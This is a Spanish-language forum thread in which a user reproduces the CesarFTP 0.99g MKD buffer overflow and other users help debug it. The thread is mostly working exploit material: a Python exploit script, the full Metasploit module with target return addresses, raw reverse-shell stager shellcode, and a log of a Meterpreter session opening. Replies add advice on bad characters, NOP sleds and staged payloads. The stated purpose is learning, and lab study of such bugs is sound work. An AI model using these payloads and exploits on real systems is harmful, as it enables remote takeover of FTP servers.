Autor
|
Tema: Necesito ayuda urgente, buffer overflow. (Leído 7,390 veces)
|
RocKHounD
|
Buenas a todos, espero que podais ayudarme porque estoy apunto de lanzarme por un puente... Buffer Overflow en CesarFTP 0.99gEstoy intentando replicar este buffer overflow para seguir aprendiendo estos temas y me he quedado estancado con algunas dudas. la historia es la siguiente, cuando creo con msfvenom el payload windows/shell/reverse_ord_tcp eliminando los siguientes badchars "\x00\x20\x0a\x0d" (los badchars los extraje del modulo de metasploit) veo que teniendo un netcat escuchando por el puerto recibo la conexion, pero algo debe de ir mal porque no obtengo ninguna shell. he modificado con el RET correcto el modulo de metasploit y funciona correctamente pero no soy capaz de replicarle. mis dudas son estas: cuando con msfpayload creo la shellcode que puse arriba de arroja dos trozos de codigo, stage1 y stage2. (msfvenom me da un codigo, no dos como msfpayload) que precisamente es lo que hace msfconsole cuando lo lanzo, crea una stage1 y envia algo, luego crea la stage2 y vuelve a enviar algo hasta que te crea una shell de meterpreter. como deberia incluir esa parte en el script??. luego, hay al menos 300 bytes de espacio, si pongo la shellcode de calc.exe la abre a la perfección, sin nigún error en el debbuging, pero cuando pongo la otra se queda medio parado y tengo que forzar la lectura de la pila a mano. es posible que la eliminación de badchars rompa la shellcode?? con findjump2.exe saco mil offsets para hacer saltar el flujo de la ejecución a mi shellcode, ¿varia el espacio final de la shellcode dependiendo de que JMP ESP escoja?? Otra cosa rarísima es que si en el script en lugar de llamar a la shellcode pongo "B" * 500 para ver mas o menos que espacio tengo disponible, el debbuger no hace absolutamente nada... pero nada de nada... se queda parado como si hubiera recibido el codigo pero lo hubiera asimilado el programa dando la salida ok. Este es el código que estoy usando, faltan algunas cosas como la propia shellcode y el RET, porque no estoy en casa ahora mismo. Despues de este está el modulo ruby de metasploit a reproducir, en dicho modulo os pongo "\r\n" cuando define el exploit, porque en el modulo original falta. Espero que podáis ayudarme, muchas gracias. #!/usr/bin/python
from socket import * import struct
eip = struct.pack('<i', 0x54234568 #me la he inventado)
shellcode = ()
host = "127.0.0.1" port = 21 user = "ftp" password = "ftp"
s = socket(AF_INET, SOCK_STREAM) s.connect((host, port)) print s.recv(1024)
s.send("user %s\r\n" % (user)) print s.recv(1024)
s.send("pass %s\r\n" % (password)) print s.recv(1024)
buffer = "MKD " buffer += "\n" * 671 buffer += "A" * 3 buffer += eip buffer += "\x90" * 40 buffer += shellcode buffer += "\r\n"
print "len: %d" % (len(buffer))
s.send(buffer) print s.recv(1024)
s.close() ## # $Id: cesarftp_mkd.rb 11799 2011-02-23 00:58:54Z mc $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Ftp def initialize(info = {}) super(update_info(info, 'Name' => 'Cesar FTP 0.99g MKD Command Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in the MKD verb in CesarFTP 0.99g. You must have valid credentials to trigger this vulnerability. Also, you only get one chance, so choose your target carefully. }, 'Author' => 'MC', 'License' => MSF_LICENSE, 'Version' => '$Revision: 11799 $', 'References' => [ [ 'CVE', '2006-2961'], [ 'OSVDB', '26364'], [ 'BID', '18586'], [ 'URL', 'http://secunia.com/advisories/20574/' ], ], 'Privileged' => true, 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 250, 'BadChars' => "\x00\x20\x0a\x0d", 'StackAdjustment' => -3500, 'Compat' => { 'SymbolLookup' => 'ws2ord', } }, 'Platform' => 'win', 'Targets' => [ [ 'Windows 2000 Pro SP4 English', { 'Ret' => 0x77e14c29 } ], [ 'Windows 2000 Pro SP4 French', { 'Ret' => 0x775F29D0 } ], [ 'Windows XP SP2/SP3 English', { 'Ret' => 0x774699bf } ], # jmp esp, user32.dll #[ 'Windows XP SP2 English', { 'Ret' => 0x76b43ae0 } ], # jmp esp, winmm.dll #[ 'Windows XP SP3 English', { 'Ret' => 0x76b43adc } ], # jmp esp, winmm.dll [ 'Windows 2003 SP1 English', { 'Ret' => 0x76AA679b } ], ], 'DisclosureDate' => 'Jun 12 2006', 'DefaultTarget' => 0)) end def check connect disconnect if (banner =~ /CesarFTP 0\.99g/) return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end def exploit connect_login sploit = "\n" * 671 + rand_text_english(3, payload_badchars) sploit << [target.ret].pack('V') + make_nops(40) + payload.encoded + "\r\n" print_status("Trying target #{target.name}...") send_cmd( ['MKD', sploit] , false) handler disconnect end end
|
|
« Última modificación: 27 Febrero 2012, 21:08 pm por RocKHounD »
|
En línea
|
|
|
|
Ivanchuk
Desconectado
Mensajes: 469
LLVM
|
Hola RocKHounD, Has podido solucionar tu problema? Buenas a todos, espero que podais ayudarme porque estoy apunto de lanzarme por un puente... Buffer Overflow en CesarFTP 0.99gEstoy intentando replicar este buffer overflow para seguir aprendiendo estos temas y me he quedado estancado con algunas dudas. la historia es la siguiente, cuando creo con msfvenom el payload windows/shell/reverse_ord_tcp eliminando los siguientes badchars "\x00\x20\x0a\x0d" (los badchars los extraje del modulo de metasploit) veo que teniendo un netcat escuchando por el puerto recibo la conexion, pero algo debe de ir mal porque no obtengo ninguna shell. he modificado con el RET correcto el modulo de metasploit y funciona correctamente pero no soy capaz de replicarle. mis dudas son estas: cuando con msfpayload creo la shellcode que puse arriba de arroja dos trozos de codigo, stage1 y stage2. (msfvenom me da un codigo, no dos como msfpayload) que precisamente es lo que hace msfconsole cuando lo lanzo, crea una stage1 y envia algo, luego crea la stage2 y vuelve a enviar algo hasta que te crea una shell de meterpreter. como deberia incluir esa parte en el script??. El stager es una shellcode minima que te abre una conexion a la espera de otro payload llamado stage. El payload de calc.exe es autonomo, o sea sin stager, y es por eso que te funciona bien. Si queres incluir en el script los stagers + stages tendrias que ver como msf interactua con el meterpreter. luego, hay al menos 300 bytes de espacio, si pongo la shellcode de calc.exe la abre a la perfección, sin nigún error en el debbuging, pero cuando pongo la otra se queda medio parado y tengo que forzar la lectura de la pila a mano.
es posible que la eliminación de badchars rompa la shellcode??
No, supuestamente la shellcode deberia permanecer intacta, codificada pero funcionalmente intacta. con findjump2.exe saco mil offsets para hacer saltar el flujo de la ejecución a mi shellcode, ¿varia el espacio final de la shellcode dependiendo de que JMP ESP escoja??
No Otra cosa rarísima es que si en el script en lugar de llamar a la shellcode pongo "B" * 500 para ver mas o menos que espacio tengo disponible, el debbuger no hace absolutamente nada... pero nada de nada... se queda parado como si hubiera recibido el codigo pero lo hubiera asimilado el programa dando la salida ok.
El overflow se produce al introducir muchos __saltos_de_linea__, con cualquier otro caracter no funciona. Probe el exploit y funciona terriblemente bien con msf. Despues si hago algo de tiempo me fijo con tu script. Saludos!
|
|
|
En línea
|
|
|
|
RocKHounD
|
Probe el exploit y funciona terriblemente bien con msf. Despues si hago algo de tiempo me fijo con tu script. Hola ivanchuk, con msf funciona a la perfección es lo que no comprendo, debe ser tema de la shellcode porque yo creo que el script Python esta bien escrito, he probado otros exploits en otros lenguajes y el efecto es el mismo, no crea nada y se queda como parado, cuando con msf lo lanzo va de lujo. Espero que tengas un hueco para echarme una mano. Cuando extraje los dos stagers de msfpayload los intente incluir en el exploit de esta manera buffer = "MKD " buffer += "\n" * 671 buffer += "A" * 3 buffer += eip buffer += "\x90" * 40 buffer += stage1 buffer += stage2 buffer += "\r\n" Evidentemente mi invención no funciono
|
|
|
En línea
|
|
|
|
RocKHounD
|
Te cuento lo que acabo de investigar... como no hay manera de hacer funcionar el script, he modificado un poco el modulo ruby de metasploit, cambiado los siguientes valores root@bt:~/Desktop/cesar# msfcli exploit/windows/ftp/cesarftp_mkd RHOST=192.168.11.15 FTPPASS=ftp FTPUSER=ftp E
[*] Please wait while we load the module tree...
RHOST => 192.168.11.15 FTPPASS => ftp FTPUSER => ftp
[*] Started reverse handler on 192.168.10.195:4444 [*] Trying target Windows RockHounD... [*] Transmitting intermediate stager for over-sized stage...(216 bytes) [*] Sending stage (752128 bytes) to 192.168.11.15 [*] Meterpreter session 1 opened (192.168.10.195:4444 -> 192.168.11.15:1115) at 2012-03-02 23:48:17 +0100
meterpreter > exit [*] Shutting down Meterpreter...
[*] Meterpreter session 1 closed. Reason: User exit sploit = "\n" * 671 + rand_text_english(3, payload_badchars) sploit << [target.ret].pack('V') + make_nops(40) + payload.encoded + "\r\n"
por esto otro. sploit = "\n" * 671 + "AAA" sploit << [target.ret].pack('V') + "\x90" * 40 + "\xcc\xcc\xcc\xcc" + payload.encoded + "\xcc\xcc\xcc\xcc" + "\r\n"
y he obtenido el siguiente resultado. 00B0EE40 350A0D2D -..5 #buffer "\n" * 671 00B0EE44 0D2D3035 50-. #buffer "\n" * 671 00B0EE48 3035350A .550 #buffer "\n" * 671 00B0EE4C 41414120 AAA # "AAA" 00B0EE50 77D5AA01 ªÕw USER32.77D5AA01 # SALTO A JMP ESP 00B0EE54 90909090 # Nops 00B0EE58 90909090 # Nops 00B0EE5C 90909090 # Nops 00B0EE60 90909090 # Nops 00B0EE64 90909090 # Nops 00B0EE68 90909090 # Nops 00B0EE6C 90909090 # Nops 00B0EE70 90909090 # Nops 00B0EE74 90909090 # Nops 00B0EE78 90909090 # Nops 00B0EE7C D42AFD03 ý*Ô # Shellcode 00B0EE80 E011737F sà # Shellcode 00B0EE84 7F4B782F /xK # Shellcode 00B0EE88 D50B7A14 zÕ # Shellcode 00B0EE8C 7D157BB7 ·{} SHELL32.7D157BB7 # Shellcode #Esto no estara llamando a algun lado? 00B0EE90 72B4B043 C°´r # Shellcode 00B0EE94 7C679246 F’g| # Shellcode 00B0EE98 4E76F510 õvN # Shellcode 00B0EE9C 32751D77 wu2 # Shellcode 00B0EEA0 9F4FEBF7 ÷ëOŸ # Shellcode 00B0EEA4 7443E3B4 ´ãCt # Shellcode 00B0EEA8 C0A92C2F /,©À # Shellcode 00B0EEAC E13070F8 øp0á # Shellcode
..... etc
Luego por interpretacion propia pienso que: [*] Started reverse handler on 192.168.10.195:4444 # Monta el listening en el 4444 local [*] Trying target Windows RockHounD... [*] Transmitting intermediate stager for over-sized stage...(216 bytes) # manda la shellcode [*] Sending stage (752128 bytes) to 192.168.11.15 # Manda el payload meterpreter pero ya habiendo conectado con el handler
Que no entiendo... pues basicamente, si yo en BT ejecuto el siguiente comando: root@bt:~/Desktop/cesar# msfpayload windows/shell/reverse_ord_tcp LHOST="192.168.10.195" EXITFUNC=process P Me devuelve dos codigos. # windows/shell/reverse_ord_tcp - 93 bytes (stage 1) # http://www.metasploit.com # VERBOSE=false, LHOST=192.168.10.195, LPORT=4444, # ReverseConnectRetries=5, EXITFUNC=process, # InitialAutoRunScript=, AutoRunScript= my $buf = "\xfc\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x50\x1c\x8b" . "\x12\x8b\x72\x20\xad\xad\x4e\x03\x06\x3d\x32\x33\x5f\x32" . "\x75\xef\x8b\x6a\x08\x8b\x45\x3c\x8b\x4c\x05\x78\x8b\x4c" . "\x0d\x1c\x01\xe9\x8b\x41\x58\x01\xe8\x8b\x71\x3c\x01\xee" . "\x03\x69\x0c\x53\x6a\x01\x6a\x02\xff\xd0\x97\x68\xc0\xa8" . "\x0a\xc3\x68\x02\x00\x11\x5c\x89\xe1\x53\xb7\x0c\x53\x51" . "\x57\x51\x6a\x10\x51\x57\x56\xff\xe5"
# windows/shell/reverse_ord_tcp - 240 bytes (stage 2) # http://www.metasploit.com my $buf = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52" . "\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" . "\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d" . "\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0" . "\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b" . "\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff" . "\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d" . "\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b" . "\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44" . "\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b" . "\x12\xeb\x86\x5d\x68\x63\x6d\x64\x00\x89\xe3\x57\x57\x57" . "\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01" . "\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56\x46" . "\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89" . "\xe0\x4e\x56\x46\xff\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb" . "\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c" . "\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53" . "\xff\xd5"
Ya mas no alcanzo... si quieres que haga algo lo hago encantado Ivanchuk. Un saludo.
|
|
|
En línea
|
|
|
|
RocKHounD
|
Bueno ya he logrado que funcione, el problema son las badchars que no son las que hay que poner, y luego la longitud del Nopsleed tampoco es la que pone en el modulo. en metasploit funciona porque la shellcode que usa esta creada para esos badchars, si queremos usar cualquier otra hay que poner bastantes mas badchars para el encoder al igual que los nops. con esta info el que quiera puede solucionarlo Gracias Ivanchuk por todo, aunque me he adelantado XDD
|
|
|
En línea
|
|
|
|
Ivanchuk
Desconectado
Mensajes: 469
LLVM
|
Igual es raro, a mi me funciono con tu script sin tocarle nada, solamente el payload. Puse el stager, o sea el primer payload que te tira msfpayload pero encodeado con msfencode, y con msfconsole mande el segundo. Si uso el payload windows/shell_reverse_tcp, sin stages, no funciona. El servidor me dice "Command overflow". Debe ser por eso el Space=200 en el modulo, el buffer entero tiene espacio limitado imagino, y el shell_reverse_tcp es bastante grande.
|
|
« Última modificación: 3 Marzo 2012, 23:35 pm por Ivanchuk »
|
En línea
|
|
|
|
RocKHounD
|
Olvide comentarte que no quería usar la plataforma msf, msfpayload y encoder si pero no el multi/handler,
Hay un espacio de 339 bytes para alojar la shellcode.
He usado una shellcode que encontré por ahí y la encodee filtrando una cadena larga de badchars que vi en una beta del modulo ruby de metasploit la cual no se porque no esta en el modulo residente.
También he podido comprobar que el modulo del exploit de msf no funciona siempre, algunas veces rompe la pila, reiniciando el server en el debugger un par de veces volvía a funcionar como es debido.
He creado otro hilo en programación Python para añadir la ejecución de netcat al final del script, en este lenguaje soy un iniciado y de momento no tengo soltura
|
|
|
En línea
|
|
|
|
polunchis
Desconectado
Mensajes: 1
|
Hola RocKHounD, estaba pasando por aqui y me encontre con tu Post,
Hace tiempo a mi tambien me paso lo mismo con este Buffer overflow del Cesar si gustas te puedo ayudar avisame y con gusto te ayudo
Saludos
|
|
|
En línea
|
Polunchis
|
|
|
berz3k
|
Sres, a mi funciona de forma correcta el exploit portado y/o nativo en metasploit , espero feedback de vustra parte para trastear con los problemas.
-berz3k.
|
|
|
En línea
|
|
|
|
|
Mensajes similares |
|
Asunto |
Iniciado por |
Respuestas |
Vistas |
Último mensaje |
|
|
Buffer Overflow en una pagina web
Nivel Web
|
mordiskos
|
1
|
3,585
|
9 Marzo 2006, 00:45 am
por ANELKAOS
|
|
|
buffer overflow
Ingeniería Inversa
|
Meg
|
2
|
6,049
|
6 Febrero 2009, 11:20 am
por Shaddy
|
|
|
Ayuda buffer overflo y shellcode
Bugs y Exploits
|
systemHack
|
0
|
3,332
|
27 Julio 2013, 02:14 am
por systemHack
|
|
|
Ayuda buffer overflow
Hacking
|
Varlch
|
3
|
3,091
|
24 Noviembre 2014, 23:30 pm
por MCKSys Argentina
|
|
|
Exploiting básico (Buffer Overflow) [Ayuda]
« 1 2 »
Bugs y Exploits
|
d00rt
|
17
|
15,557
|
10 Enero 2016, 19:45 pm
por furby86
|
|